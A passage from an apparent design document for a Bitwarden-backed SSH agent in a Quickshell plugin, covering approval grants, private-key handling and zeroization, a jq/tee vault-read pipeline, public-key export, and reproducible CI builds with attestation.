`sshAgentApprovalWindowSec` (default `120`, maximum `900`, `0` to disable + grants and always ask) sets the window. +- Grants live only in the companion's memory. They are never written to disk and + never survive a companion restart. +- A grant is dropped on: expiry, lock, logout, account change, epoch change, + disabling the feature, screen lock, suspend, client process exit, + `revoke_grants`, and any mismatch of key identity or executable path. (PID + start time no longer participates; see the note above.) +- Every live grant is visible in the panel with its key, process, and remaining + time, and is revocable individually or all at once. +- A grant does not bypass the final authorization point. Epoch, lock state, and + key identity are still rechecked immediately before the signing primitive. A + grant replaces the prompt, not the check. +- Grants count against the same four-request bound as prompted requests. + +## SSH Agent Protocol Scope + +Initially accept only what is needed for local authentication and SSH signing: + +- request identities; +- sign request; +- the RSA SHA-2 signature flags required by OpenSSH; +- Ed25519 and RSA keys supported by Bitwarden SSH items; +- enough OpenSSH extension/session-bind parsing to recognize and reject + unsupported forwarding safely. + +Explicitly reject agent mutation operations such as add, remove, remove-all, +lock/unlock, smartcard, and unknown extensions. Do not blindly forward opaque +messages. + +Agent forwarding is out of the first release. A forwarded connection changes +what the peer PID means and expands the threat model. If it is later enabled, +session-bind and forwarding state must be tracked and shown in the approval UI. + +The companion should derive fingerprints from the parsed public key and use the +vault fingerprint only for comparison. A mismatch is an error, not a loose +lookup fallback. + +Build each refresh into a separate candidate keystore. For every item, parse +the private key, derive its public blob and fingerprint, and compare both with +the vault metadata. Skip an individual malformed, encrypted, unsupported, or +mismatched key with a sanitized item-level reason while continuing to validate +the rest. Coalesce duplicate public blobs into one advertised identity rather +than returning indistinguishable duplicates. Only after validation completes +does one atomic swap publish the complete accepted set; no old private key is +combined with a new partial refresh. + +Transport, filter, schema, truncation, or global-limit failure is different +from one invalid item: it invalidates the whole candidate load and leaves no +private-key set available. Master-password re-prompt items are visible in the +public-only panel list with an unavailable explanation, but their private keys +are filtered out before Rust and they are not advertised by the agent in v1. + +## Public Key File Export + +Git commit signing needs files, so this is v1 scope rather than later polish. +`ssh-keygen -Y sign` takes `user.signingkey` as a path (the inline +`key::ssh-ed25519 AAAA…` form works, but is not how anyone configures this), and +`gpg.ssh.allowedSignersFile` has no inline equivalent at all. Without exported +files, the `gpg.format=ssh` acceptance test below cannot be satisfied the way a +user would actually set it up. `IdentitiesOnly=yes` users need the same thing. + +Public keys are not secret, so this does not cross the private boundary. + +- Export to `${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli/ssh/`, one + `.pub` file per advertised key, mode `0600` inside a `0700` directory. Do not + write into `~/.ssh`; that directory belongs to the user and to OpenSSH. +- Derive filenames with the hostile-filename sanitizer the attachment path + already uses. An item name is decrypted vault content about to become a path. + Resolve collisions with the item ID rather than overwriting. +- The directory is a projection of the current vault epoch: rewritten on load, + and cleared on logout, account change, or disabling the feature. A lock does + not clear it, because public identities stay advertised while locked. +- Never write private keys to disk under any circumstance. That is key export, + and it stays out of scope. +- Document the resulting `user.signingkey`, `allowed_signers`, and + `IdentityFile`/`IdentitiesOnly` snippets in setup. *Done: README, "SSH + Agent".* + +## Security Requirements + +The feature protects against accidental signing, stale key residency after +lock, malformed local agent clients, and private keys leaking through argv, +QML state, logs, or files. It does not claim to protect an unlocked desktop +from arbitrary code already running as the same user. + +- Create a `0700` runtime directory and a `0600` Unix socket under + `$XDG_RUNTIME_DIR`; verify owner and file type before replacing a stale path. +- Require the peer UID from `SO_PEERCRED` to equal the companion's effective + UID. Treat PID/executable information as prompt context, not authentication. +- Make approval authoritative in the companion. The panel can request allow or + deny, but no sign path exists without a matching live request. +- Give every load, approval, and sign operation a vault epoch. Recheck the + epoch, approval, lock state, and key identity at the final authorization + point immediately before invoking the signing primitive. +- Set `RLIMIT_CORE=0` and `PR_SET_DUMPABLE=0` for the companion before it reads + anything secret, and be precise about what that buys. `RLIMIT_CORE` is + inherited across `execve`; `PR_SET_DUMPABLE` is **reset to 1 by `execve`**, so + it protects the companion's key store and nothing else. The companion spawns + no children, so it has nothing else to protect -- but the panel's `bw` child + is dumpable and holds the entire decrypted vault plus `BW_SESSION` in its + environment. That process, not the agent, is the widest same-UID exposure + window in the design; it is bounded only by being short-lived and by + `/proc//environ` being owner-readable. Do not describe the agent's + hardening as though it covered the load path. +- The companion needs no `PATH`, no `HOME`, and no vault credentials of any + kind. Give it a minimal environment and keep it that way. +- Hold an exclusive `flock` on a lock file in the runtime directory before + unlinking or binding the socket, and refuse to start while it is held. A + Quickshell reload otherwise starts the replacement companion while the + outgoing one is still draining toward stdin EOF, leaving it serving an + unlinked socket with a dead control channel. +- Use secret/zeroizing wrappers for the session, raw item JSON, and PEM buffers. + Audit whether the selected key types clone or zeroize their backing memory; + Rust does not make secret erasure automatic. +- Put `bw`, the raw-output cap, `tee`, and both `jq` stages in one supervised + process group owned by the panel. A lock, logout, timeout, or helper shutdown + kills and reaps the whole group before the state transition is acknowledged. +- Give `BW_SESSION` only to the `bw` child, as the panel already does. Invoke + every `jq` stage with static program text and `--arg` inputs, never a + shell-interpolated filter. +- Create the key-load FIFO with `mkfifo` at mode `0600` inside the `0700` + runtime directory, and have the companion hold it open `O_RDWR` for its + lifetime so it never observes EOF and writers never take `SIGPIPE` from a + momentarily busy reader. +- Start with explicit vault-load limits: 16 MiB of raw CLI JSON (the panel's + existing `MAX_ITEMS_BYTES`), 128 SSH keys, 64 KiB per PEM, and 8 MiB of + filtered SSH-key JSON on the FIFO. Treat hitting any limit as a failed load, + never a partial key set. +- Bound all inputs, queues, and waits. Test truncated frames, length overflow, + slow clients, disconnects, invalid UTF-8, and request floods. +- Never log environment values, control input, private keys, signed payloads, + signatures, or raw `bw` stdout/stderr. +- Run `bw` non-interactively with `BW_NOINTERACTION=true`. Pass `BW_SESSION` in + its environment, consistent with the repository's existing no-secrets-in- + argv policy. + +## Remaining Concerns and Acceptance Criteria + +### Private-key memory and zeroization + +Rust prevents many memory-corruption bugs; it does not guarantee that secrets +are never copied, swapped, or left behind by a dependency. Lock semantics are +credible only if the chosen representation supports them. + +- Filtered JSON and PEM input must use `Zeroizing>` or an equivalent + secret container from the first byte read off the FIFO. Avoid conversion + through ordinary `String`, `format!`, debug output, or cloned request + structures. The companion holds no session token to protect. +- Review the actual private components of every supported parsed key type. If + RSA big integers or Ed25519 secret material do not implement reliable + zeroization on drop, that dependency fails the spike; wrapping only the PEM + text is not enough after it has been parsed. +- Keep private keys in one keystore owned by the signing worker. Other tasks use + public identifiers and request IDs, not cloned private-key objects or `Arc`s + that can outlive a lock. +- Locked memory may be added for the small PEM buffers if it works under + normal Omarchy memory-lock limits. Failure to `mlock` cannot silently weaken a + documented guarantee, and parsed third-party key objects may still live in + ordinary heap pages. +- Release execution disables debugging/core dumps. CI keeps separate debug + symbols as artifacts if needed; they are not bundled in the plugin. +- Tests prove state and drop behavior, while the documentation remains candid: + best-effort erasure protects against later accidental reads, not root, the + kernel, or a process that already stole the key while the vault was unlocked. + +### Quickshell responsiveness and lifecycle + +The SSH client is allowed to block on a response; Quickshell's event loop is +not. The panel/agent integration passes only if all of these hold: + +- QML starts the helper as a tracked, non-detached `Process` with + `stdinEnabled`, an attached line parser from startup, a cleared/allowlisted + environment, and an absolute path resolved inside the plugin directory. +- QML never waits synchronously for the helper or for SSH. It reacts to one + bounded event at a time and lets the existing asynchronous unlock flow run. +- The helper uses independent asynchronous socket tasks plus bounded internal + channels. A slow SSH client, a full control pipe, or one pending approval + cannot stall other clients or the lock command. +- EOF, protocol mismatch, or loss of the panel control channel immediately + closes the signing gate and exits. Unexpected exits use capped restart + backoff; a crash loop disables the feature and leaves the rest of the plugin + usable. +- Identity requests are answered from the public cache without any panel + interaction. Only when `sshAgentUnlockOnDemand` is on can they raise the + unlock UI, and then they are coalesced; repeated denied or timed-out requests + enter a cooldown so a same-UID process cannot keep opening the panel. Sign + requests use the four-request bound and 30-second deadline defined by the + control contract. +- A same-UID process can still occupy the four request slots with junk sign + requests and delay a legitimate one. That is inside the threat model this + feature explicitly does not defend against, but the bound, the deadline, and + the client-disconnect cancellation keep it from becoming permanent. +- Screen lock and suspend always deny and dismiss pending prompts; the agent + never opens an approval UI over the lock screen. A normal unlocked desktop + may open/focus the panel for an SSH-triggered request. +- Integration tests cover the panel being closed, a concurrent vault sync, lock + during load, lock during approval, lock while a grant is live, helper + crash/restart, Quickshell reload (including the `flock` that prevents two + companions binding one socket), the panel restarting while the vault is + already unlocked from the keyring, screen lock, and a client disconnecting + while the UI is open. + +### Bitwarden CLI coordination + +The previous draft had three separate `bw list items` reads -- panel list, +public-only SSH list, agent private list -- and then had to serialize them +against Bitwarden's data-file locking. On a real vault each read costs seconds, +so that design tripled unlock latency to buy a boundary that one read provides +just as well. + +There is now **one read per unlock or sync**, split in the shell: + +```sh +set -o pipefail +bw list items \ + | head -c 16777216 \ + | tee >( jq -c --arg loadId "$QSBW_LOAD_ID" "$AGENT_FILTER" > "$FIFO" ) \ + | jq -c "$PANEL_FILTER" \ + | head -c "$PANEL_CAP" +``` + +The `tee` branch exists only while the agent is enabled; with the feature off, +the command is the panel pipeline alone. Both filters are static programs with +`--arg` inputs, never interpolated text. + +Rules this has to satisfy: + +- **The optional feature can never break the core list.** If the pipeline fails + while the agent branch is present, the panel retries once without it and + reports the agent load as failed. The item list is not allowed to depend on + the companion being healthy. +- **Backpressure is bounded.** The companion drains the FIFO eagerly into its + bounded candidate buffer. Because it holds the FIFO `O_RDWR`, a busy reader + blocks the writer rather than breaking it, and the block is bounded by the + 8 MiB filtered cap and the pipeline's own timeout. +- **`pipefail` does not observe process substitution.** A failure inside the + `tee` branch will not fail the pipeline, so the companion must detect a short, + malformed, or nonce-mismatched payload itself and fail that load closed. + `key_load_end` reports the panel's view of the pipeline; the companion's own + validation is what is authoritative. +- **Ordering stops being a concurrency problem.** One `bw` invocation means + there is nothing to serialize. The panel renders from stdout while the + companion validates its candidate keystore in parallel, and an SSH-triggered + unlock is released by `keys_loaded` without waiting for the panel to finish + rendering. +- A lock cancels the running pipeline and abandons the current `loadId`. A + whole-pipeline failure leaves the previous private-key set unavailable. + Individual invalid keys follow the skip-and-report policy above; re-prompt + private keys never leave the `jq` stage. + +If the spike shows the `tee` fan-out cannot be made robust, the fallback is two +panel-owned reads -- one for QML, one piped straight into the FIFO -- never +three, and never one that hands the companion a session token. Folding the +public-only SSH projection into the panel's own stdout is independently correct +and removes the third read either way. + +## Prerequisite: Sanitize the Vault Read Before QML + +Today `bw list items` returns decrypted type-5 `sshKey.privateKey` values and +`parseItems()` retains the entire cipher as `rawObject`. Removing the field +after `JSON.parse()` is too late: an immutable JavaScript string and parsed QML +object have already held it. The current model also recognizes only item types +1–4 and falls back to treating an unknown type as a login, so a type-5 cipher +can be both exposed and misrepresented -- as can types 6–8, which already +exist. + +Before adding the agent, put an out-of-process split in front of QML. One +command, one stdout document: + +```json +{"items": [ ...types 1-4, unchanged... ], + "sshKeys": [ ...type 5, public fields only... ]} +``` + +- `items` is a positive allowlist of supported types 1–4, each item's object + intact so `rawObject` can still round-trip through `bw edit item`. A positive + allowlist fails closed when Bitwarden adds another sensitive type -- and it + already has: `CipherType` now defines `6 BankAccount`, `7 DriversLicense`, and + `8 Passport`, all present in the shipped CLI 2026.2.0. `itemTypeName()` + currently falls back to `"login"`, so the plugin mislabels every one of them + today, exactly as it does type 5. The allowlist fixes a live bug, not a + hypothetical one. Types 6–8 need their own follow-up before they can be shown. +- `sshKeys` projects only item ID, name, type, organization ID, folder ID, + favorite state, re-prompt state, public key, and fingerprint. + `sshKey.privateKey` is never part of this stream. + +Because both arrive on the same read, “SSH Keys” needs no lazy load, no second +collector, no freshness timestamp, and no separate vault-epoch guard -- and +there is no longer any reason to hide SSH keys from All, Favorites, global +search, or item counts. They participate like any other type. Contextual +suggestions stay login-only, because an SSH key has no URI to match. + +SSH key detail is public-only and read-only in v1. It renders from the sanitized +type-5 object and must never fall through to the generic `bw get item` command, +which would return the private key to QML. Generic create, edit, and clone paths +reject type 5. Deletion can be considered separately because it is ID-based, +but it is not required for the first release. Supporting SSH metadata edits +later requires an opaque `bw get item` → allowlisted `jq` patch → `bw encode` → +`bw edit item` pipeline so QML never has to round-trip the private key. + +The pipeline keeps a raw-input cap before the filters and a second QML-facing +output cap after them. It uses `pipefail` and makes filter errors or truncated +input fail the read rather than returning a partial array. Fixture +tests place unique markers in an SSH private key and in unrelated vault types, +execute the real pipelines, and prove: + +- the `items` array contains no type-5 item and no private-key marker; +- the `sshKeys` array contains only type-5 public fields and no private-key + marker; +- with the agent branch enabled, the FIFO payload carries the private-key marker + and no unrelated-item marker, while QML-facing stdout still carries neither; +- a payload written to the FIFO with a wrong or absent `loadId` is rejected; +- neither marker survives in collector or model state; and +- no type-5 item can reach the generic detail fallback. + +The companion receives private SSH material only from the FIFO branch of that +same read. It is the only long-lived plugin component allowed to hold private +keys, and it obtains them without running a command, without holding a session +token, and without costing a second vault decryption. + +## Dependencies and Version Floor + +`jq` is already a hard dependency of the `omarchy` package itself -- `pacman -Qi +omarchy` lists it alongside `git`, `perl`, `gum`, `quickshell`, and `uwsm` -- so +it is present on every Omarchy install and the split filter adds no new install +step. It still belongs in the existing dependency probe as a *required* tool, so +a non-Omarchy Arch install fails with a clear message instead of an empty vault +list. `jq` is also the only guaranteed JSON tool: `gojq`, `dasel`, `yq`, +`python`, and `node` are not Omarchy dependencies (`/usr/bin/node` exists only +because `bitwarden-cli` depends on `nodejs-lts-jod`). `bw` continues to be +resolved through `PATH` by the panel, as it is today; the pacman +`bitwarden-cli` package is the supported install. + +The SSH key item type has a real version floor: + +| Version | What changed | +|---|---| +| `bw` 2024.12.0 | First CLI release whose export model carries `sshKey` (`PM-10393 SSH keys`, bitwarden/clients#10825, merged 2024-11-08, first contained in tag `cli-v2024.12.0`) | +| 2025.1.0 / 2025.1.1 | SSH key creation and import ship in the web vault and browser extension, so items can actually exist | +| 2026.3.0 | SSH key storage and SSH Agent feature flags are removed; the feature is unconditionally on | +| 2026.8.0 | `PM-40201`: SSH key items with a null public key or fingerprint no longer fail to decrypt and break the vault | + +**Floor: `bw` 2025.1.0.** Below it, hide the feature behind a clear message +rather than showing an empty key list. 2024.12.0 is the version where the field +exists but no client could yet create an item to put in it, which is not a +useful floor. + +The version check is necessary but not sufficient. Self-hosted Bitwarden and +Vaultwarden gained type 5 on their own schedules, and the flag removal only +landed in 2026.3.0, so the panel should treat "the read returned no type-5 items +at all" as an *unconfirmed capability* rather than a confirmed empty set. + +Record the 2026.8.0 fix as a known upstream hazard: on an older CLI a single +malformed SSH key item can fail the whole `bw list items` call, which breaks the +ordinary panel list too. That failure is not the plugin's, and the diagnostic +should say so and name the fix version. + +## Rust Dependency Spike + +Do not start the UI implementation until a small headless spike proves the +agent core. Evaluate maintained crates against these requirements: + +1. Correct OpenSSH agent framing and bounded decoding. +2. Ed25519 signing and RSA SHA-256/SHA-512 flag handling. +3. A hook before every identity-list and sign operation. +4. Unix peer credentials and concurrent clients. +5. Explicit handling of unknown messages and OpenSSH extensions. +6. Secret-memory behavior, dependency health, license compatibility, and audit + surface. +7. The FIFO transport: `O_RDWR` retention, nonce framing, bounded draining, and + rejection of an unframed or duplicated payload. + +Re-verify the dependency claims at spike time rather than trusting this +document's review date: the `bitwarden-russh` deprecation, the state of +Bitwarden's v2 agent, and RFC 9987's status can all have moved. + +RustCrypto's `ssh-key` is a reasonable candidate for key parsing/signing, but +its surrounding agent protocol support still needs evaluation. Do not depend +on the deprecated `bitwarden-russh` repository. Reusing code from Bitwarden's +eventual v2 implementation is possible only after its stability, licensing, +and fit are reviewed. + +The spike passes only after automated tests cover Ed25519 and RSA, both RSA +SHA-2 flags, malformed frames, key/public/fingerprint mismatch, duplicate keys, +per-item skips, whole-load failure, lock-during-approval, multiple clients, the +`tee` fan-out's exit-status and backpressure behavior, FIFO nonce rejection, and +grant expiry plus PID-reuse rejection, plus manual end-to-end tests for: + +- `ssh -T` or a real Git authentication flow with no private key on disk; +- a Git commit signed with `gpg.format=ssh`, configured through an exported + public key file the way a user would actually set it up; +- a `git rebase` over several commits, once with grants off and once with a + grant, to confirm the prompt volume is tolerable; +- `ssh-add -L` while unlocked and after lock; +- an SSH request made before the first vault unlock, in both unlock-on-demand + modes; +- `ssh` to a host that uses an on-disk key, to confirm the default mode does not + raise the panel; +- Quickshell reload while a terminal retains the stable socket path. + +## Repository Binary and CI Trust + +The repository is the distribution unit for an Omarchy plugin, so keep both +the Rust source and supported release binaries in it: + +```text +agent/ + Cargo.toml + Cargo.lock + rust-toolchain.toml + src/ +bin/ + x86_64-linux/qs-bitwarden-ssh-agent + SHA256SUMS +``` + +The v1 target is `x86_64-unknown-linux-gnu`, built and executed on x86_64 CI. +Do not advertise or publish aarch64 until Omarchy supports it as a normal target +and CI can execute the final artifact natively. A GNU-linked binary matches the +initial Omarchy runtime; reconsider static PIE/musl only in a later portability +decision backed by compatibility tests. + +Do not use Git LFS for the executable; a normal plugin checkout must contain +the exact bytes it will execute. Preserve executable mode in Git. Quickshell +launches the target for the current architecture by a canonical path relative +to the plugin, never by searching PATH. + +### Pull-request gates + +**Decision:** use the read-only candidate workflow. Pull-request CI builds and +uploads the candidate binary; a maintainer adds those bytes to the PR; CI then +rebuilds and compares them before merge. Do not give PR jobs a write token and +do not add a bot-authored binary-update PR flow in the initial implementation. + +Every PR runs with read-only repository permissions and no secrets: + +1. Run all existing JavaScript/QML tests. +2. Run `cargo fmt --check`, Clippy with warnings denied, and Rust unit, + integration, and protocol-vector tests. +3. Audit `Cargo.lock` for RustSec advisories and enforce allowed licenses, + registries, Git sources, and duplicate dependency policy with `cargo-deny`. +4. Build with the committed lockfile and exact pinned toolchain. +5. Execute each produced target natively, on an architecture runner, or under a + deliberate emulator; never publish an architecture that CI only compiled. +6. Run end-to-end tests against disposable keys, a fixture `bw`, Unix sockets, + and a fake approval controller. CI never receives a real vault session. +7. Rebuild the release binary in the pinned release environment. Compare it + byte-for-byte with the binary checked into `bin/` **when the PR touches + `bin/`, and unconditionally on merge to `master` and on a release tag.** On a + fork PR that only changes `agent/`, upload the candidate and report the diff + without blocking: a fork contributor usually cannot push CI's bytes into + their own branch, so an unconditional match requirement would make every + external agent-source PR unmergeable. The bytes still cannot reach `master` + without a clean rebuild-and-compare. + +This avoids giving untrusted pull-request code a write token. Whether the +candidate was first compiled locally or downloaded from the read-only CI job, +the required clean rebuild proves that CI produces the same bytes before they +can merge. + +### Reproducible build inputs + +- Commit `Cargo.lock` and an exact `rust-toolchain.toml`; use `cargo --locked`. +- Build inside a container image pinned by digest, with pinned target packages, + linker, strip tool, feature flags, and release profile. +- Remove build-path variance with `--remap-path-prefix`, covering both the + source root and `$CARGO_HOME/registry` -- the registry path is the one that + usually leaks. Note that `rustc` does not consume `SOURCE_DATE_EPOCH` and does + not embed build timestamps: set it for the surrounding tooling if that helps, + but do not list it as the mechanism that makes the Rust build reproducible. + Do not embed the Git commit SHA in a binary tracked by that same commit; doing + so creates a circular artifact. Embed semantic and control-protocol versions + instead. +- Prefer pure-Rust crypto dependencies and keep the v1 binary GNU-linked. +- Keep stripped release bytes in `bin/` and upload separate debug symbols as + short-lived CI/release artifacts. +- Any change to Rust source, `Cargo.lock`, toolchain, build container, flags, or + release profile requires a regenerated binary and checksum. + +### Release provenance and local validation + +On a protected release tag, CI repeats every gate against the final commit, +verifies the tracked bytes, and then: + +- recomputes and verifies the committed `bin/SHA256SUMS` before packaging; +- creates GitHub build-provenance attestation for each binary, binding its + digest to this repository, workflow, and commit; +- publishes an SBOM and dependency/license report; +- exposes a documented `gh attestation verify` command for users who want to + validate provenance; +- confirms the helper's `--version`, protocol version, target architecture, + executable mode, dynamic-library requirements, and built-in self-test. + +Be honest about what the launch-time checksum does. `bin/SHA256SUMS` lives in +the same directory as the binary *and* as the QML that checks it, so anyone able +to replace the binary can replace both. It is not tamper detection. What it does +catch is real and worth keeping: a corrupt or partial clone, an LFS-smudged +placeholder, an architecture or format mismatch, and -- most usefully -- a stale +binary after a `git pull` that updated the source but left an old artifact +behind. + +Tamper and provenance are a different mechanism with a different root of trust: + +- CI attests each binary's digest to this repository, workflow, and commit. +- Setup diagnostics show a one-command verification, and run it on request when + `gh` is available (it is not an Omarchy dependency, so it cannot be assumed): + + ```sh + gh attestation verify bin/x86_64-linux/qs-bitwarden-ssh-agent \ + --repo Elevate08/qs-bitwarden-cli + ``` + +- Re-offer that check after a plugin update, when the binary has changed. + +Then state the limit plainly: anyone who can write to the plugin directory can +also rewrite the QML that performs any of these checks. The plugin cannot defend +itself against a same-UID attacker, and filesystem permissions own that +boundary. This is the same threat line the rest of the plugin already draws. + +Pin every third-party GitHub Action to a full commit SHA. Protect changes to +workflow files, `agent/`, `Cargo.lock`, and `bin/` with required review and +CODEOWNERS. Default workflow permissions to `contents: read`; grant +`id-token: write` and `attestations: write` only to the protected release job. +Attestation proves origin and build instructions, not that the source is safe, +so review, tests, and dependency gates remain mandatory. + +At runtime, the panel and companion perform a protocol/version handshake. A +missing binary, unsupported architecture, checksum mismatch, failed self-test, +or version mismatch disables SSH-agent support with a clear diagnostic; it +does not prevent the rest of the Bitwarden plugin from loading. + +## Delivery Plan + +### 0. Remove the existing QML exposure + +- Split the item-list pipeline out of process into one stdout document with + `items` (allowlisted types 1–4) and `sshKeys` (public-only type 5). +- Add the SSH Keys type, public-only parser, and read-only detail view with no + generic `bw get item` fallback. +- Add type 5, public key, fingerprint, and re-prompt-unavailable presentation; + SSH keys participate in All, Favorites, search, and counts like any other + type. +- Add `jq` to the dependency probe as required, and the `bw` 2025.1.0 floor with + its diagnostic. +- Add tests independently of agent work. + +### 1. Prove the Rust agent core + +- Select maintained crypto/protocol crates. +- Implement an in-memory test keystore and socket. +- Validate algorithms, flags, limits, key-type zeroization, lock + linearization, approvals, and peer context. +- Prove the `tee` fan-out, both `jq` filters, and the nonce-framed FIFO + transport against fixture vaults, including agent-branch failure leaving the + panel list intact. +- Record the dependency and threat-model decision before building UI around it. + +### 2. Integrate the CLI and panel + +- Add versioned stdio control messages and Quickshell supervision. +- Add the disabled-by-default settings and the assisted UWSM setup/removal flow, + with `SSH_AUTH_SOCK` reported as advisory diagnostics only. +- Add the `tee` agent branch and FIFO transport to the existing single read. +- Add the state machine, opt-in unlock-on-demand, one-at-a-time approval modal, + bounded grants with their revoke UI, four-request bound, 30-second timeout, + and lock/logout/disable handling. +- Keep the rest of the plugin functional when the optional helper is absent. + +### 3. Package and document + +- Add the repo-tracked binary, reproducible CI build/compare gate, checksum, + SBOM, and protected release attestation. Users do not need a Rust toolchain. +- Ship and test the x86_64 GNU target only. +- Ship public-key file export; it is required by the signing flow, not optional + polish. +- Add setup diagnostics, managed `SSH_AUTH_SOCK` lifecycle instructions, the + `gh attestation verify` provenance check, authentication and signing examples, + uninstall cleanup, and an upgrade/version-mismatch path. + +## Not Doing Initially + +- **Python proxy plus inner `ssh-agent`**: two sockets create a bypass path and + split approval, lifetime, and error handling across processes. +- **A Bitwarden SDK or direct cloud API**: the CLI remains the vault boundary. +- **Key generation or import**: those write private material and need a separate + design and security review. *Examined in + `docs/decisions/0004-ssh-key-creation.md`, which confirms the deferral and + records where the obstacle actually lies: the CLI can encrypt and create a + type-5 item, so the question is private-key custody, not CLI capability.* +- **SSH item creation, editing, or cloning in QML**: the CLI edit contract + round-trips the complete cipher, so these need an opaque metadata-patch design + that never exposes the existing private key to QML. *That argument holds for + editing and cloning; it does not apply to creation, which has no stored + private key to expose. See `docs/decisions/0004-ssh-key-creation.md`.* +- **Master-password re-prompt for agent keys**: show affected items in the + public list but do not load or advertise them until a dedicated re-prompt + authorization flow exists. +- **GPG agent support**: Bitwarden has no corresponding vault key type; SSH + signing covers the commit-signing use case. +- **Agent forwarding**: peer attribution and session binding require a later, + explicit threat-model expansion. +- **Host selection inside the plugin**: the agent does not reliably know the + destination. OpenSSH config, `IdentityFile`, and `IdentitiesOnly` own this. +- **Per-key custom policy stored in vault fields**: do not require users to + mutate vault items for plugin-specific metadata. +- **Persistent private-key or session caches**: no encrypted side database and + no “remember until reboot” mode. +- **Unbounded or persistent approval**: grants are per key and per program (see + `docs/decisions/0002-grant-scope.md`, which relaxed this from per live + process), memory-only, and time-limited. There is no "always allow", no + per-key policy stored in the vault, and nothing that survives a lock, a + logout, or a companion restart. +- **Item types 6–8** (bank account, driver's licence, passport): the allowlist + excludes them along with type 5. Presenting them needs its own design; today + they are silently mislabelled as logins. +- **aarch64 and static/musl binaries**: v1 targets the normal x86_64 GNU Omarchy + environment and adds platforms only when they can be executed and verified + in CI. + +## Nice to Have (Deferred) + +Ideas worth doing that are deliberately outside the first release. + +- **Choice of approval presentation.** The approval prompt currently takes over + the panel. Offer a user preference between a genuinely full-screen prompt -- + drawn over the desktop the way a lock screen is, so a signing request cannot + be missed while working in another window -- and the present in-panel one for + users who would rather it stayed small. + + The auto-close half of this is **done**: answering a prompt -- approved or + denied alike -- closes the panel when the request is what opened it, and + returns the user to the screen they were on when the panel was already + theirs. What remains deferred is the choice of presentation. + + Neither variant may prompt over a locked screen; that rule is unchanged. + +## Assumptions to Validate + +The design is settled, but these spike assumptions had to be true before the +feature proceeded past its prerequisite/headless stages. Each is marked with +what actually established it, not with confidence: + +- [x] A maintained Rust dependency set can correctly implement the required + agent protocol and RSA signature flags without adopting deprecated code. + *Reviewed in `docs/decisions/0001-ssh-agent-dependencies.md`; the + allowlisted frame decoder and both signature flavours are covered by + `agent/tests/protocol.rs`.* +- [x] Quickshell remains responsive and can complete unlock/approval while the + requesting SSH client is blocked on the socket. *Checkpoint "Optional + Data Plane" (Tasks 10-12), verified under blocked clients and failed + helpers.* +- [x] `bw list items` reliably returns all supported SSH keys in a format the + selected Rust key library can parse, including imported RSA keys. + *`tests/ssh-items.test.js` and the end-to-end case in + `tests/ssh-agent-pipeline.test.js`, which drives the real companion and + confirms `ssh-add -L` lists exactly what the vault held.* +- [x] Private key buffers can be bounded and best-effort-zeroized without + hidden long-lived clones in selected dependencies. *As far as a written + dependency review and `agent/tests/keystore.rs` can establish -- which is + the honest bound on this claim, and why the README says best-effort.* +- [x] One `bw list items` read can be fanned out with `tee` into a QML stream + and a FIFO without the agent branch ever truncating or failing the panel + list, and without unacceptable backpressure. *Task 12, against a real + FIFO under nine failure shapes.* +- [~] The `bw` floor is workable on the servers this plugin supports. *Corrected + from 2025.1.0: the enforced floor is **2025.1.2**, the first release + Bitwarden documents as supporting SSH key items, with 2026.8.0 fixing a + malformed-item bug that fails the whole list. Verified against the + official service; self-hosted Bitwarden and Vaultwarden remain untested + here, which is why capability is reported as unconfirmed rather than + assumed.* +- [x] A pinned x86_64 GNU build environment can reproducibly emit the exact + bytes tracked in the repository and run them on the target Omarchy + environment. *CI builds twice from different paths and compares against + the tracked bytes on every push; the release workflow repeats it against + the tag and runs the result outside the build container.* + +**Resolved in v1.** This paragraph contradicted "Public Key File Export" +above, which called the same work v1 scope. The stronger requirement won, +because Git signing cannot be configured the way a user actually configures it +without files on disk. Public-key export shipped in 1.5.0 with the semantics +that section specifies: one `.pub` per advertised key under +`${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli/ssh/`, mode `0600` +inside a `0700` directory, names through the attachment sanitizer with the +item ID resolving collisions, rewritten on load, and cleared on logout, +account change, and when the feature is turned off but not on a lock. + +## Corrections from Revision 1 + +- The design performed up to three full `bw list items` decryptions per unlock + and then had to serialize them against CLI data-file locking. One read now + feeds both QML and the agent, and the public-only SSH projection rides the + panel's own stdout. +- The companion no longer runs `bw` and no longer receives `BW_SESSION`. It + spawns no child processes at all, so it needs no `PATH`, no `HOME`, and no + load process group. +- `PR_SET_DUMPABLE=0` is reset by `execve`. It protects the companion's key + store and never the `bw` child that holds the whole decrypted vault. +- Unlock-on-demand at identity listing is now opt-in. `ssh` lists identities on + every connection, so making it the default opened the panel on the first `ssh` + after login even when only on-disk keys were involved. +- `SSH_AUTH_SOCK` is client routing only; nothing in the plugin reads it. It is + now advisory diagnostics, and the "setup required" state that gated the + companion's startup on it is gone. +- Bounded approval grants moved into v1. Per-signature-only approval is + unusable for `git rebase` with `gpg.format=ssh`. +- Public-key file export moved into v1. `gpg.ssh.allowedSignersFile` has no + inline form, so commit signing could not be configured normally without it. +- The control contract had no way to report a cancelled unlock and no + acknowledgment for a completed lock, yet the prose depended on both. +- The launch-time checksum is a corruption and staleness check, not tamper + detection; `SHA256SUMS` sits in the same directory as the binary it describes + and the QML that reads it. +- `CipherType` already defines types 6–8 upstream and they ship in CLI 2026.2.0. + The current fallback mislabels all of them as logins today, which makes the + positive allowlist a fix rather than a precaution. +- The PR gate required a byte-for-byte match on every PR, which no fork + contributor could satisfy. + +## Corrections from the Original Draft + +- Bitwarden Desktop does **not** use a Python-like proxy around OpenSSH's + `ssh-agent`; it implements a native Rust agent. +- A fresh local test did not reproduce the claim that daemonized `ssh-agent` + bypasses `-c` confirmation. Foreground `-D` is still useful for supervision, + but the prior security claim was incorrect. +- Unlock-on-demand must begin at the identity-list request, not only at a sign + request. (Revision 2 keeps this true but makes the behavior opt-in; see + above.) +- Removing `sshKey` from `rawObject` after parsing does not keep it out of QML; + sanitization must happen before QML receives the JSON. +- The ordinary panel list must not carry `sshKey.privateKey`. A public-only + type-5 projection never uses the generic detail fallback. (Revision 2 folds + that projection into the same read instead of loading it lazily.) +- The previous design simultaneously proposed per-request lazy fetch and eager + preload. This revision chooses one bounded CLI load per unlock/refresh. +- The inner-agent socket created an approval bypass and made the outer proxy's + caller attribution unreliable. The single native agent removes that split. +- `bw list items` has no type filter. A bounded, allowlisting filter must sit + in front of every consumer or each one receives unrelated vault secrets. + (Revision 2 moves that filter into the panel's own pipeline; the companion no + longer runs a CLI command of its own.) +- The agent is disabled by default. Omarchy session routing is configured only + through an explicit assisted UWSM 